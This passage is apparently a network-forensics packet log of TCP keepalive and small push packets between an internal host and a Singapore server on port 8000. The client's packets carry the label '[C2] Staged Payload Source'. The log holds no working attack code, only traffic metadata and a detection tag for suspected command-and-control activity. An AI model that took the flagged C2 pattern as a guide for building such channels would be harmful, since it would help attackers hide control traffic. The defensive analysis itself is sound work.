{\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:14.046210,1116,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487913,bc2411360d0cbc24112907bb08004500003405d2400040062a22c0a3a7890a98980b1f40fa6f31e3a06e4a2d60e98010003f0af700000101050a4a2d60e84a2d60e9,\".$.6\n..$.)....E..4..@.@.*\"\"....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1490, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10786, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487913, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487912, 1244487913))]\"\"}}]\"\n2026-07-01 09:14:15.061736,1117,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487912 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1c3400080063e3b0a98980bc0a3a789fa6f1f404a2d60e831e3a06e50102014edd7000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45507, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15931, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487912, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60887, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:15.061754,1118,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487913,bc2411360d0cbc24112907bb08004500003405d3400040062a21c0a3a7890a98980b1f40fa6f31e3a06e4a2d60e98010003f0af700000101050a4a2d60e84a2d60e9,\".$.6\n..$.)....E..4..@.@.*!....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1491, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10785, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487913, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487912, 1244487913))]\"\"}}]\"\n2026-07-01 09:14:16.077392,1119,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487912 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1c4400080063e3a0a98980bc0a3a789fa6f1f404a2d60e831e3a06e50102014edd7000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45508, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15930, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487912, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60887, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:16.077402,1120,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487913,bc2411360d0cbc24112907bb08004500003405d4400040062a20c0a3a7890a98980b1f40fa6f31e3a06e4a2d60e98010003f0af700000101050a4a2d60e84a2d60e9,\".$.6\n..$.)....E..4..@.@.* ....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1492, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10784, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487913, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487912, 1244487913))]\"\"}}]\"\n2026-07-01 09:14:17.093038,1121,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487912 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1c5400080063e390a98980bc0a3a789fa6f1f404a2d60e831e3a06e50102014edd7000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45509, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15929, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487912, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60887, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:17.093051,1122,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487913,bc2411360d0cbc24112907bb08004500003405d5400040062a1fc0a3a7890a98980b1f40fa6f31e3a06e4a2d60e98010003f0af700000101050a4a2d60e84a2d60e9,\".$.6\n..$.)....E..4..@.@.*.....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1493, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10783, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487913, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487912, 1244487913))]\"\"}}]\"\n2026-07-01 09:14:18.093082,1123,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487912 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1c6400080063e380a98980bc0a3a789fa6f1f404a2d60e831e3a06e50102014edd7000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45510, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15928, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487912, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60887, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:18.093113,1124,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487913,bc2411360d0cbc24112907bb08004500003405d6400040062a1ec0a3a7890a98980b1f40fa6f31e3a06e4a2d60e98010003f0af700000101050a4a2d60e84a2d60e9,\".$.6\n..$.)....E..4..@.@.*.....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1494, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10782, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487913, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487912, 1244487913))]\"\"}}]\"\n2026-07-01 09:14:19.093158,1125,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487912 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1c7400080063e370a98980bc0a3a789fa6f1f404a2d60e831e3a06e50102014edd7000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45511, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15927, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487912, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60887, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:19.093186,1126,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487913,bc2411360d0cbc24112907bb08004500003405d7400040062a1dc0a3a7890a98980b1f40fa6f31e3a06e4a2d60e98010003f0af700000101050a4a2d60e84a2d60e9,\".$.6\n..$.)....E..4..@.@.*.....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1495, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10781, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487913, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487912, 1244487913))]\"\"}}]\"\n2026-07-01 09:14:19.938482,1127,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=1244487913 Ack=837001326,bc24112907bbbc2411360d0c08004500003db1c8400080063e220a98980bc0a3a789fa6f1f404a2d60e931e3a06e50182014881900001100c0ff1100000001000000789ceb0300008f008f,............x........,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 45512, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15906, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487913, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 34841, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789ceb0300008f008f\"\"}}]\"\n2026-07-01 09:14:19.938525,1128,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487934,bc2411360d0cbc24112907bb08004500002805d8400040062a28c0a3a7890a98980b1f40fa6f31e3a06e4a2d60fe5010003f0aeb0000,\".$.6\n..$.)....E..(..@.@.*(....\n....@.o1..nJ-`.P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1496, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10792, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487934, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:14:20.952598,1129,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487933 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1c9400080063e350a98980bc0a3a789fa6f1f404a2d60fd31e3a06e50102014edc2000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45513, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15925, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487933, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60866, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:20.952632,1130,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487934,bc2411360d0cbc24112907bb08004500003405d9400040062a1bc0a3a7890a98980b1f40fa6f31e3a06e4a2d60fe8010003f0af700000101050a4a2d60fd4a2d60fe,\".$.6\n..$.)....E..4..@.@.*.....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1497, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10779, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487934, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487933, 1244487934))]\"\"}}]\"\n2026-07-01 09:14:21.968192,1131,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487933 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1ca400080063e340a98980bc0a3a789fa6f1f404a2d60fd31e3a06e50102014edc2000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45514, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15924, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487933, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60866, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:21.968223,1132,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487934,bc2411360d0cbc24112907bb08004500003405da400040062a1ac0a3a7890a98980b1f40fa6f31e3a06e4a2d60fe8010003f0af700000101050a4a2d60fd4a2d60fe,\".$.6\n..$.)....E..4..@.@.*.....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1498, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10778, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": 